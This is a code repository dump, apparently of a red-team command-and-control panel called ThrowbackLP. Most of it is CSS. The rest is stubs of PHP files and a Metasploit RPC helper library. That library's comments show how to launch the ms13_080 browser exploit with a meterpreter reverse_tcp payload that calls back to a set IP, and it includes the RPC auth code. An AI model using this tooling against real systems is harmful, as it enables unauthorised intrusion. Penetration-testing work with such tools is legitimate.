reset white-space decalred in parent*/ 35 | /* display-inline emulation for IE7*/ 36 | zoom: 1; 37 | *display: inline; 38 | } 39 | 40 | .editable-buttons .editable-cancel { 41 | margin-left: 7px; 42 | } 43 | 44 | /*for jquery-ui buttons need set height to look more pretty*/ 45 | .editable-buttons button.ui-button-icon-only { 46 | height: 24px; 47 | width: 30px; 48 | } 49 | 50 | .editableform-loading { 51 | background: url('../img/loading.gif') center center no-repeat; 52 | height: 25px; 53 | width: auto; 54 | min-width: 25px; 55 | } 56 | 57 | .editable-inline .editableform-loading { 58 | background-position: left 5px; 59 | } 60 | 61 | .editable-error-block { 62 | max-width: 300px; 63 | margin: 5px 0 0 0; 64 | width: auto; 65 | white-space: normal; 66 | } 67 | 68 | /*add padding for jquery ui*/ 69 | .editable-error-block.ui-state-error { 70 | padding: 3px; 71 | } 72 | 73 | .editable-error { 74 | color: red; 75 | } 76 | 77 | /* ---- For specific types ---- */ 78 | 79 | .editableform .editable-date { 80 | padding: 0; 81 | margin: 0; 82 | float: left; 83 | } 84 | 85 | /* move datepicker icon to center of add-on button. See https://github.com/vitalets/x-editable/issues/183 */ 86 | .editable-inline .add-on .icon-th { 87 | margin-top: 3px; 88 | margin-left: 1px; 89 | } 90 | 91 | 92 | /* checklist vertical alignment */ 93 | .editable-checklist label input[type="checkbox"], 94 | .editable-checklist label span { 95 | vertical-align: middle; 96 | margin: 0; 97 | } 98 | 99 | .editable-checklist label { 100 | white-space: nowrap; 101 | } 102 | 103 | /* set exact width of textarea to fit buttons toolbar */ 104 | .editable-wysihtml5 { 105 | width: 566px; 106 | height: 250px; 107 | } 108 | 109 | /* clear button shown as link in date inputs */ 110 | .editable-clear { 111 | clear: both; 112 | font-size: 0.9em; 113 | text-decoration: none; 114 | text-align: right; 115 | } 116 | 117 | /* IOS-style clear button for text inputs */ 118 | .editable-clear-x { 119 | background: url('../img/clear.png') center center no-repeat; 120 | display: block; 121 | width: 13px; 122 | height: 13px; 123 | position: absolute; 124 | opacity: 0.6; 125 | z-index: 100; 126 | 127 | top: 50%; 128 | right: 6px; 129 | margin-top: -6px; 130 | 131 | } 132 | 133 | .editable-clear-x:hover { 134 | opacity: 1; 135 | } 136 | 137 | .editable-pre-wrapped { 138 | white-space: pre-wrap; 139 | } 140 | .editable-container.editable-popup { 141 | max-width: none !important; /* without this rule poshytip/tooltip does not stretch */ 142 | } 143 | 144 | .editable-container.popover { 145 | width: auto; /* without this rule popover does not stretch */ 146 | } 147 | 148 | .editable-container.editable-inline { 149 | display: inline-block; 150 | vertical-align: middle; 151 | width: auto; 152 | /* inline-block emulation for IE7*/ 153 | zoom: 1; 154 | *display: inline; 155 | } 156 | 157 | .editable-container.ui-widget { 158 | font-size: inherit; /* jqueryui widget font 1.1em too big, overwrite it */ 159 | z-index: 9990; /* should be less than select2 dropdown z-index to close dropdown first when click */ 160 | } 161 | .editable-click, 162 | a.editable-click, 163 | a.editable-click:hover { 164 | text-decoration: none; 165 | border-bottom: dashed 1px #0088cc; 166 | } 167 | 168 | .editable-click.editable-disabled, 169 | a.editable-click.editable-disabled, 170 | a.editable-click.editable-disabled:hover { 171 | color: #585858; 172 | cursor: default; 173 | border-bottom: none; 174 | } 175 | 176 | .editable-empty, .editable-empty:hover, .editable-empty:focus{ 177 | font-style: italic; 178 | color: #DD1144; 179 | /* border-bottom: none; */ 180 | text-decoration: none; 181 | } 182 | 183 | .editable-unsaved { 184 | font-weight: bold; 185 | } 186 | 187 | .editable-unsaved:after { 188 | /* content: '*'*/ 189 | } 190 | 191 | .editable-bg-transition { 192 | -webkit-transition: background-color 1400ms ease-out; 193 | -moz-transition: background-color 1400ms ease-out; 194 | -o-transition: background-color 1400ms ease-out; 195 | -ms-transition: background-color 1400ms ease-out; 196 | transition: background-color 1400ms ease-out; 197 | } 198 | 199 | /*see https://github.com/vitalets/x-editable/issues/139 */ 200 | .form-horizontal .editable 201 | { 202 | padding-top: 5px; 203 | display:inline-block; 204 | } 205 | 206 | 207 | /*! 208 | * Datepicker for Bootstrap 209 | * 210 | * Copyright 2012 Stefan Petre 211 | * Improvements by Andrew Rowls 212 | * Licensed under the Apache License v2.0 213 | * http://www.apache.org/licenses/LICENSE-2.0 214 | * 215 | */ 216 | .datepicker { 217 | padding: 4px; 218 | -webkit-border-radius: 4px; 219 | -moz-border-radius: 4px; 220 | border-radius: 4px; 221 | direction: ltr; 222 | /*.dow { 223 | border-top: 1px solid #ddd !important; 224 | }*/ 225 | 226 | } 227 | .datepicker-inline { 228 | width: 220px; 229 | } 230 | .datepicker.datepicker-rtl { 231 | direction: rtl; 232 | } 233 | .datepicker.datepicker-rtl table tr td span { 234 | float: right; 235 | } 236 | .datepicker-dropdown { 237 | top: 0; 238 | left: 0; 239 | } 240 | .datepicker-dropdown:before { 241 | content: ''; 242 | display: inline-block; 243 | border-left: 7px solid transparent; 244 | border-right: 7px solid transparent; 245 | border-bottom: 7px solid #ccc; 246 | border-bottom-color: rgba(0, 0, 0, 0.2); 247 | position: absolute; 248 | top: -7px; 249 | left: 6px; 250 | } 251 | .datepicker-dropdown:after { 252 | content: ''; 253 | display: inline-block; 254 | border-left: 6px solid transparent; 255 | border-right: 6px solid transparent; 256 | border-bottom: 6px solid #ffffff; 257 | position: absolute; 258 | top: -6px; 259 | left: 7px; 260 | } 261 | .datepicker > div { 262 | display: none; 263 | } 264 | .datepicker.days div.datepicker-days { 265 | display: block; 266 | } 267 | .datepicker.months div.datepicker-months { 268 | display: block; 269 | } 270 | .datepicker.years div.datepicker-years { 271 | display: block; 272 | } 273 | .datepicker table { 274 | margin: 0; 275 | } 276 | .datepicker td, 277 | .datepicker th { 278 | text-align: center; 279 | width: 20px; 280 | height: 20px; 281 | -webkit-border-radius: 4px; 282 | -moz-border-radius: 4px; 283 | border-radius: 4px; 284 | border: none; 285 | } 286 | .table-striped .datepicker table tr td, 287 | .table-striped .datepicker table tr th { 288 | background-color: transparent; 289 | } 290 | .datepicker table tr td.day:hover { 291 | background: #eeeeee; 292 | cursor: pointer; 293 | } 294 | .datepicker table tr td.old, 295 | .datepicker table tr td.new { 296 | color: #999999; 297 | } 298 | .datepicker table tr td.disabled, 299 | .datepicker table tr td.disabled:hover { 300 | background: none; 301 | color: #999999; 302 | cursor: default; 303 | } 304 | .datepicker table tr td.today, 305 | .datepicker table tr td.today:hover, 306 | .datepicker table tr td.today.disabled, 307 | .datepicker table tr td.today.disabled:hover { 308 | background-color: #fde19a; 309 | background-image: -moz-linear-gradient(top, #fdd49a, #fdf59a); 310 | background-image: -ms-linear-gradient(top, #fdd49a, #fdf59a); 311 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fdd49a), to(#fdf59a)); 312 | background-image: -webkit-linear-gradient(top, #fdd49a, #fdf59a); 313 | background-image: -o-linear-gradient(top, #fdd49a, #fdf59a); 314 | background-image: linear-gradient(top, #fdd49a, #fdf59a); 315 | background-repeat: repeat-x; 316 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fdd49a', endColorstr='#fdf59a', GradientType=0); 317 | border-color: #fdf59a #fdf59a #fbed50; 318 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 319 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 320 | color: #000; 321 | } 322 | .datepicker table tr td.today:hover, 323 | .datepicker table tr td.today:hover:hover, 324 | .datepicker table tr td.today.disabled:hover, 325 | .datepicker table tr td.today.disabled:hover:hover, 326 | .datepicker table tr td.today:active, 327 | .datepicker table tr td.today:hover:active, 328 | .datepicker table tr td.today.disabled:active, 329 | .datepicker table tr td.today.disabled:hover:active, 330 | .datepicker table tr td.today.active, 331 | .datepicker table tr td.today:hover.active, 332 | .datepicker table tr td.today.disabled.active, 333 | .datepicker table tr td.today.disabled:hover.active, 334 | .datepicker table tr td.today.disabled, 335 | .datepicker table tr td.today:hover.disabled, 336 | .datepicker table tr td.today.disabled.disabled, 337 | .datepicker table tr td.today.disabled:hover.disabled, 338 | .datepicker table tr td.today[disabled], 339 | .datepicker table tr td.today:hover[disabled], 340 | .datepicker table tr td.today.disabled[disabled], 341 | .datepicker table tr td.today.disabled:hover[disabled] { 342 | background-color: #fdf59a; 343 | } 344 | .datepicker table tr td.today:active, 345 | .datepicker table tr td.today:hover:active, 346 | .datepicker table tr td.today.disabled:active, 347 | .datepicker table tr td.today.disabled:hover:active, 348 | .datepicker table tr td.today.active, 349 | .datepicker table tr td.today:hover.active, 350 | .datepicker table tr td.today.disabled.active, 351 | .datepicker table tr td.today.disabled:hover.active { 352 | background-color: #fbf069 \9; 353 | } 354 | .datepicker table tr td.today:hover:hover { 355 | color: #000; 356 | } 357 | .datepicker table tr td.today.active:hover { 358 | color: #fff; 359 | } 360 | .datepicker table tr td.range, 361 | .datepicker table tr td.range:hover, 362 | .datepicker table tr td.range.disabled, 363 | .datepicker table tr td.range.disabled:hover { 364 | background: #eeeeee; 365 | -webkit-border-radius: 0; 366 | -moz-border-radius: 0; 367 | border-radius: 0; 368 | } 369 | .datepicker table tr td.range.today, 370 | .datepicker table tr td.range.today:hover, 371 | .datepicker table tr td.range.today.disabled, 372 | .datepicker table tr td.range.today.disabled:hover { 373 | background-color: #f3d17a; 374 | background-image: -moz-linear-gradient(top, #f3c17a, #f3e97a); 375 | background-image: -ms-linear-gradient(top, #f3c17a, #f3e97a); 376 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3c17a), to(#f3e97a)); 377 | background-image: -webkit-linear-gradient(top, #f3c17a, #f3e97a); 378 | background-image: -o-linear-gradient(top, #f3c17a, #f3e97a); 379 | background-image: linear-gradient(top, #f3c17a, #f3e97a); 380 | background-repeat: repeat-x; 381 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3c17a', endColorstr='#f3e97a', GradientType=0); 382 | border-color: #f3e97a #f3e97a #edde34; 383 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 384 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 385 | -webkit-border-radius: 0; 386 | -moz-border-radius: 0; 387 | border-radius: 0; 388 | } 389 | .datepicker table tr td.range.today:hover, 390 | .datepicker table tr td.range.today:hover:hover, 391 | .datepicker table tr td.range.today.disabled:hover, 392 | .datepicker table tr td.range.today.disabled:hover:hover, 393 | .datepicker table tr td.range.today:active, 394 | .datepicker table tr td.range.today:hover:active, 395 | .datepicker table tr td.range.today.disabled:active, 396 | .datepicker table tr td.range.today.disabled:hover:active, 397 | .datepicker table tr td.range.today.active, 398 | .datepicker table tr td.range.today:hover.active, 399 | .datepicker table tr td.range.today.disabled.active, 400 | .datepicker table tr td.range.today.disabled:hover.active, 401 | .datepicker table tr td.range.today.disabled, 402 | .datepicker table tr td.range.today:hover.disabled, 403 | .datepicker table tr td.range.today.disabled.disabled, 404 | .datepicker table tr td.range.today.disabled:hover.disabled, 405 | .datepicker table tr td.range.today[disabled], 406 | .datepicker table tr td.range.today:hover[disabled], 407 | .datepicker table tr td.range.today.disabled[disabled], 408 | .datepicker table tr td.range.today.disabled:hover[disabled] { 409 | background-color: #f3e97a; 410 | } 411 | .datepicker table tr td.range.today:active, 412 | .datepicker table tr td.range.today:hover:active, 413 | .datepicker table tr td.range.today.disabled:active, 414 | .datepicker table tr td.range.today.disabled:hover:active, 415 | .datepicker table tr td.range.today.active, 416 | .datepicker table tr td.range.today:hover.active, 417 | .datepicker table tr td.range.today.disabled.active, 418 | .datepicker table tr td.range.today.disabled:hover.active { 419 | background-color: #efe24b \9; 420 | } 421 | .datepicker table tr td.selected, 422 | .datepicker table tr td.selected:hover, 423 | .datepicker table tr td.selected.disabled, 424 | .datepicker table tr td.selected.disabled:hover { 425 | background-color: #9e9e9e; 426 | background-image: -moz-linear-gradient(top, #b3b3b3, #808080); 427 | background-image: -ms-linear-gradient(top, #b3b3b3, #808080); 428 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#b3b3b3), to(#808080)); 429 | background-image: -webkit-linear-gradient(top, #b3b3b3, #808080); 430 | background-image: -o-linear-gradient(top, #b3b3b3, #808080); 431 | background-image: linear-gradient(top, #b3b3b3, #808080); 432 | background-repeat: repeat-x; 433 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#b3b3b3', endColorstr='#808080', GradientType=0); 434 | border-color: #808080 #808080 #595959; 435 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 436 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 437 | color: #fff; 438 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 439 | } 440 | .datepicker table tr td.selected:hover, 441 | .datepicker table tr td.selected:hover:hover, 442 | .datepicker table tr td.selected.disabled:hover, 443 | .datepicker table tr td.selected.disabled:hover:hover, 444 | .datepicker table tr td.selected:active, 445 | .datepicker table tr td.selected:hover:active, 446 | .datepicker table tr td.selected.disabled:active, 447 | .datepicker table tr td.selected.disabled:hover:active, 448 | .datepicker table tr td.selected.active, 449 | .datepicker table tr td.selected:hover.active, 450 | .datepicker table tr td.selected.disabled.active, 451 | .datepicker table tr td.selected.disabled:hover.active, 452 | .datepicker table tr td.selected.disabled, 453 | .datepicker table tr td.selected:hover.disabled, 454 | .datepicker table tr td.selected.disabled.disabled, 455 | .datepicker table tr td.selected.disabled:hover.disabled, 456 | .datepicker table tr td.selected[disabled], 457 | .datepicker table tr td.selected:hover[disabled], 458 | .datepicker table tr td.selected.disabled[disabled], 459 | .datepicker table tr td.selected.disabled:hover[disabled] { 460 | background-color: #808080; 461 | } 462 | .datepicker table tr td.selected:active, 463 | .datepicker table tr td.selected:hover:active, 464 | .datepicker table tr td.selected.disabled:active, 465 | .datepicker table tr td.selected.disabled:hover:active, 466 | .datepicker table tr td.selected.active, 467 | .datepicker table tr td.selected:hover.active, 468 | .datepicker table tr td.selected.disabled.active, 469 | .datepicker table tr td.selected.disabled:hover.active { 470 | background-color: #666666 \9; 471 | } 472 | .datepicker table tr td.active, 473 | .datepicker table tr td.active:hover, 474 | .datepicker table tr td.active.disabled, 475 | .datepicker table tr td.active.disabled:hover { 476 | background-color: #006dcc; 477 | background-image: -moz-linear-gradient(top, #0088cc, #0044cc); 478 | background-image: -ms-linear-gradient(top, #0088cc, #0044cc); 479 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc)); 480 | background-image: -webkit-linear-gradient(top, #0088cc, #0044cc); 481 | background-image: -o-linear-gradient(top, #0088cc, #0044cc); 482 | background-image: linear-gradient(top, #0088cc, #0044cc); 483 | background-repeat: repeat-x; 484 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0); 485 | border-color: #0044cc #0044cc #002a80; 486 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 487 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 488 | color: #fff; 489 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 490 | } 491 | .datepicker table tr td.active:hover, 492 | .datepicker table tr td.active:hover:hover, 493 | .datepicker table tr td.active.disabled:hover, 494 | .datepicker table tr td.active.disabled:hover:hover, 495 | .datepicker table tr td.active:active, 496 | .datepicker table tr td.active:hover:active, 497 | .datepicker table tr td.active.disabled:active, 498 | .datepicker table tr td.active.disabled:hover:active, 499 | .datepicker table tr td.active.active, 500 | .datepicker table tr td.active:hover.active, 501 | .datepicker table tr td.active.disabled.active, 502 | .datepicker table tr td.active.disabled:hover.active, 503 | .datepicker table tr td.active.disabled, 504 | .datepicker table tr td.active:hover.disabled, 505 | .datepicker table tr td.active.disabled.disabled, 506 | .datepicker table tr td.active.disabled:hover.disabled, 507 | .datepicker table tr td.active[disabled], 508 | .datepicker table tr td.active:hover[disabled], 509 | .datepicker table tr td.active.disabled[disabled], 510 | .datepicker table tr td.active.disabled:hover[disabled] { 511 | background-color: #0044cc; 512 | } 513 | .datepicker table tr td.active:active, 514 | .datepicker table tr td.active:hover:active, 515 | .datepicker table tr td.active.disabled:active, 516 | .datepicker table tr td.active.disabled:hover:active, 517 | .datepicker table tr td.active.active, 518 | .datepicker table tr td.active:hover.active, 519 | .datepicker table tr td.active.disabled.active, 520 | .datepicker table tr td.active.disabled:hover.active { 521 | background-color: #003399 \9; 522 | } 523 | .datepicker table tr td span { 524 | display: block; 525 | width: 23%; 526 | height: 54px; 527 | line-height: 54px; 528 | float: left; 529 | margin: 1%; 530 | cursor: pointer; 531 | -webkit-border-radius: 4px; 532 | -moz-border-radius: 4px; 533 | border-radius: 4px; 534 | } 535 | .datepicker table tr td span:hover { 536 | background: #eeeeee; 537 | } 538 | .datepicker table tr td span.disabled, 539 | .datepicker table tr td span.disabled:hover { 540 | background: none; 541 | color: #999999; 542 | cursor: default; 543 | } 544 | .datepicker table tr td span.active, 545 | .datepicker table tr td span.active:hover, 546 | .datepicker table tr td span.active.disabled, 547 | .datepicker table tr td span.active.disabled:hover { 548 | background-color: #006dcc; 549 | background-image: -moz-linear-gradient(top, #0088cc, #0044cc); 550 | background-image: -ms-linear-gradient(top, #0088cc, #0044cc); 551 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc)); 552 | background-image: -webkit-linear-gradient(top, #0088cc, #0044cc); 553 | background-image: -o-linear-gradient(top, #0088cc, #0044cc); 554 | background-image: linear-gradient(top, #0088cc, #0044cc); 555 | background-repeat: repeat-x; 556 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0); 557 | border-color: #0044cc #0044cc #002a80; 558 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 559 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 560 | color: #fff; 561 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 562 | } 563 | .datepicker table tr td span.active:hover, 564 | .datepicker table tr td span.active:hover:hover, 565 | .datepicker table tr td span.active.disabled:hover, 566 | .datepicker table tr td span.active.disabled:hover:hover, 567 | .datepicker table tr td span.active:active, 568 | .datepicker table tr td span.active:hover:active, 569 | .datepicker table tr td span.active.disabled:active, 570 | .datepicker table tr td span.active.disabled:hover:active, 571 | .datepicker table tr td span.active.active, 572 | .datepicker table tr td span.active:hover.active, 573 | .datepicker table tr td span.active.disabled.active, 574 | .datepicker table tr td span.active.disabled:hover.active, 575 | .datepicker table tr td span.active.disabled, 576 | .datepicker table tr td span.active:hover.disabled, 577 | .datepicker table tr td span.active.disabled.disabled, 578 | .datepicker table tr td span.active.disabled:hover.disabled, 579 | .datepicker table tr td span.active[disabled], 580 | .datepicker table tr td span.active:hover[disabled], 581 | .datepicker table tr td span.active.disabled[disabled], 582 | .datepicker table tr td span.active.disabled:hover[disabled] { 583 | background-color: #0044cc; 584 | } 585 | .datepicker table tr td span.active:active, 586 | .datepicker table tr td span.active:hover:active, 587 | .datepicker table tr td span.active.disabled:active, 588 | .datepicker table tr td span.active.disabled:hover:active, 589 | .datepicker table tr td span.active.active, 590 | .datepicker table tr td span.active:hover.active, 591 | .datepicker table tr td span.active.disabled.active, 592 | .datepicker table tr td span.active.disabled:hover.active { 593 | background-color: #003399 \9; 594 | } 595 | .datepicker table tr td span.old, 596 | .datepicker table tr td span.new { 597 | color: #999999; 598 | } 599 | .datepicker th.datepicker-switch { 600 | width: 145px; 601 | } 602 | .datepicker thead tr:first-child th, 603 | .datepicker tfoot tr th { 604 | cursor: pointer; 605 | } 606 | .datepicker thead tr:first-child th:hover, 607 | .datepicker tfoot tr th:hover { 608 | background: #eeeeee; 609 | } 610 | .datepicker .cw { 611 | font-size: 10px; 612 | width: 12px; 613 | padding: 0 2px 0 5px; 614 | vertical-align: middle; 615 | } 616 | .datepicker thead tr:first-child th.cw { 617 | cursor: default; 618 | background-color: transparent; 619 | } 620 | .input-append.date .add-on i, 621 | .input-prepend.date .add-on i { 622 | display: block; 623 | cursor: pointer; 624 | width: 16px; 625 | height: 16px; 626 | } 627 | .input-daterange input { 628 | text-align: center; 629 | } 630 | .input-daterange input:first-child { 631 | -webkit-border-radius: 3px 0 0 3px; 632 | -moz-border-radius: 3px 0 0 3px; 633 | border-radius: 3px 0 0 3px; 634 | } 635 | .input-daterange input:last-child { 636 | -webkit-border-radius: 0 3px 3px 0; 637 | -moz-border-radius: 0 3px 3px 0; 638 | border-radius: 0 3px 3px 0; 639 | } 640 | .input-daterange .add-on { 641 | display: inline-block; 642 | width: auto; 643 | min-width: 16px; 644 | height: 18px; 645 | padding: 4px 5px; 646 | font-weight: normal; 647 | line-height: 18px; 648 | text-align: center; 649 | text-shadow: 0 1px 0 #ffffff; 650 | vertical-align: middle; 651 | background-color: #eeeeee; 652 | border: 1px solid #ccc; 653 | margin-left: -5px; 654 | margin-right: -5px; 655 | } 656 | -------------------------------------------------------------------------------- /cp/css/stylesheet.css: -------------------------------------------------------------------------------- 1 | body 2 | { 3 | font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; 4 | background-color: #787878; 5 | } 6 | 7 | a 8 | { 9 | text-decoration: none; 10 | color: inherit; 11 | } 12 | 13 | p#links 14 | { 15 | margin: 0px; 16 | text-align: center; 17 | font-size: small; 18 | font-weight: bold; 19 | } 20 | 21 | .col1 22 | { 23 | border: solid; 24 | margin-left: auto; 25 | margin-right: auto; 26 | } 27 | 28 | .mainheader 29 | { 30 | text-align: center; 31 | font-size: 20px; 32 | } 33 | 34 | .col2 35 | { 36 | float: right; 37 | } 38 | 39 | .mainbody 40 | { 41 | margin-left: auto; 42 | margin-right: auto; 43 | width: 80%; 44 | } 45 | 46 | .container 47 | { 48 | text-decoration: none; 49 | border: 0 none; 50 | padding: 0 5px 0 5px; 51 | height: 22px; 52 | } 53 | 54 | .hidden 55 | { 56 | display: none; 57 | text-align: center; 58 | } 59 | 60 | tr.data 61 | { 62 | padding: 5px 10px 15px; 63 | background-color:#F4F4F8; 64 | } 65 | 66 | div#login 67 | { 68 | text-align: center; 69 | } 70 | 71 | div#header 72 | { 73 | font-size: 30px; 74 | text-align: center; 75 | } 76 | 77 | #box 78 | { 79 | width:70%; 80 | display: none; 81 | padding:5px; 82 | border:2px solid #FADDA9; 83 | background-color:#FDF4E1; 84 | } 85 | 86 | #tableimg 87 | { 88 | text-decoration: none; 89 | border: 0 none; 90 | padding: 0 2px 0 2px; 91 | height: 22px; 92 | 93 | } 94 | 95 | #targets 96 | { 97 | margin-left: auto; 98 | margin-right: auto; 99 | border-collapse: collapse; 100 | } 101 | 102 | #targets td, #targets th 103 | { 104 | font-size: 13px; 105 | border: 1px solid #000000; 106 | padding: 3px 3px 2px 3px; 107 | } 108 | 109 | #targets th 110 | { 111 | font-size: 15px; 112 | text-align: left; 113 | padding-top: 7px; 114 | padding-bottom: 7px; 115 | background-color: #297A29; 116 | border-bottom: double; 117 | } 118 | 119 | #targets tr 120 | { 121 | background-color: #D8D8D8; 122 | } 123 | 124 | .results 125 | { 126 | font-weight: bold; 127 | } -------------------------------------------------------------------------------- /cp/deletetask.php: -------------------------------------------------------------------------------- 1 | "; 17 | 18 | ?> -------------------------------------------------------------------------------- /cp/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /cp/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /cp/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /cp/history.php: -------------------------------------------------------------------------------- 1 | 17 | 21 | 124 | 127 | -------------------------------------------------------------------------------- /cp/images/tb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/images/tb.jpg -------------------------------------------------------------------------------- /cp/includes/conf.php: -------------------------------------------------------------------------------- 1 | 19 | -------------------------------------------------------------------------------- /cp/includes/header.inc.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /cp/includes/links.php: -------------------------------------------------------------------------------- 1 | Home | MetCreator | Logout

"; 3 | ?> -------------------------------------------------------------------------------- /cp/includes/lock.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cp/includes/msfrpcd.php: -------------------------------------------------------------------------------- 1 | > /etc/php5/apache2/php.ini 29 | * 30 | * apt-get install curl libcurl3 libcurl3-dev php5-curl 31 | * 32 | * update-rc.d postgresql enable 33 | * service postgresql start 34 | * 35 | * update-rc.d metasploit enable 36 | * service metasploit start 37 | * 38 | * update-rc.d apache2 enable 39 | * service apache2 restart 40 | * 41 | * ### ### ### ### ### 42 | * 43 | * How to use: 44 | * 45 | * #1 - Start msfrpcd on a server: 46 | root@kali:~# ifconfig | grep 192.168. 47 | inet addr:192.168.192.234 Bcast:192.168.192.255 Mask:255.255.255.0 48 | root@kali:~# cat msgrpc.rc 49 | load msgrpc ServerHost=192.168.192.234 Pass=abc123 50 | root@kali:~# msfconsole -r /root/msgrpc.rc 51 | ... 52 | * 53 | * #2 - Inclucde php file and use functions. 54 | * This example will start the ms13-080 exploit: 55 | ... 56 | require_once ('includes/php_msfrpc_inc.php'); 57 | ... 58 | $msfrpcd_ip = "192.168.192.234" 59 | $cb_ip = "192.168.192.234" 60 | $msf_exploit_full_path = "exploit/windows/browser/ms13_080_cdisplaypointer"; 61 | $msf_payload_full_path = "windows/meterpreter/reverse_tcp"; 62 | $msf_target = "3"; 63 | $msf_url = use_exploit($msfrpcd_ip, $cb_ip, $msf_exploit_full_path, $msf_payload_full_path, $msf_target); 64 | ... 65 | * 66 | * ### ### ### ### ### 67 | * 68 | */ 69 | 70 | //require_once('phpdebug.php'); 71 | //require_once('conf.php'); 72 | 73 | # Define Variables 74 | define("WEBBOT_NAME", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6"); 75 | define("CURL_TIMEOUT", 30000); 76 | define("COOKIE_FILE", "cookie.txt"); 77 | 78 | # Define Constants 79 | define("HEAD", "HEAD"); 80 | define("GET", "GET"); 81 | define("POST", "POST"); 82 | 83 | # DEFINE HEADER INCLUSION 84 | define("EXCL_HEAD", FALSE); 85 | define("INCL_HEAD", TRUE); 86 | 87 | // ************ curl_post() ************ // 88 | function curl_post($url, $port, $httpheader, $postfields) 89 | { 90 | //debug("START Function curl_post()
"); 91 | 92 | $ch = curl_init(); 93 | curl_setopt($ch, CURLOPT_URL, $url); 94 | curl_setopt($ch, CURLOPT_PORT , $port); 95 | curl_setopt($ch, CURLOPT_VERBOSE, 0); 96 | curl_setopt($ch, CURLOPT_HEADER, 0); 97 | 98 | curl_setopt($ch, CURLOPT_POST, TRUE); 99 | curl_setopt($ch, CURLOPT_HTTPGET, FALSE); 100 | curl_setopt($ch, CURLOPT_NOBODY, FALSE); 101 | 102 | curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); 103 | 104 | curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields); 105 | 106 | curl_setopt($ch, CURLOPT_TIMEOUT, CURL_TIMEOUT); // Timeout 107 | curl_setopt($ch, CURLOPT_USERAGENT, WEBBOT_NAME); // Webbot name 108 | curl_setopt($ch, CURLOPT_VERBOSE, FALSE); // Minimize logs 109 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // No certificate 110 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // Follow redirects 111 | curl_setopt($ch, CURLOPT_MAXREDIRS, 4); // Limit redirections to four 112 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); // Return in string 113 | 114 | $return_array['FILE'] = curl_exec($ch); 115 | $return_array['STATUS'] = curl_getinfo($ch); 116 | $return_array['ERROR'] = curl_error($ch); 117 | 118 | curl_close($ch); 119 | 120 | //debug("END Function curl_post()
"); 121 | return $return_array; 122 | } 123 | 124 | // ************ msf_auth() ************ // 125 | function msf_auth($ip, $username, $password) 126 | { 127 | //debug("START Function msf_auth()
"); 128 | //$data = array(0=>1,1=>2,2=>3); 129 | $data = array("auth.login", $username, $password); 130 | 131 | $msgpack_data = msgpack_pack($data); 132 | 133 | $url = "http://".$ip.":55552/api/1.0"; 134 | $port = 55552; 135 | $httpheader = array("Host: RPC Server", "Content-Length: ".strlen($msgpack_data), "Content-Type: binary/message-pack"); 136 | $postfields = $msgpack_data; 137 | $return_array = curl_post($url, $port, $httpheader, $postfields); 138 | 139 | $msgunpack_data = msgpack_unpack($return_array['FILE']); 140 | 141 | $token = $msgunpack_data["token"]; 142 | 143 | //debug("END Function msf_auth()
"); 144 | return $token; 145 | } 146 | 147 | // ************ msf_cmd() ************ // 148 | function msf_cmd($ip, $client_request) 149 | { 150 | 151 | //debug("START Function msf_cmd()
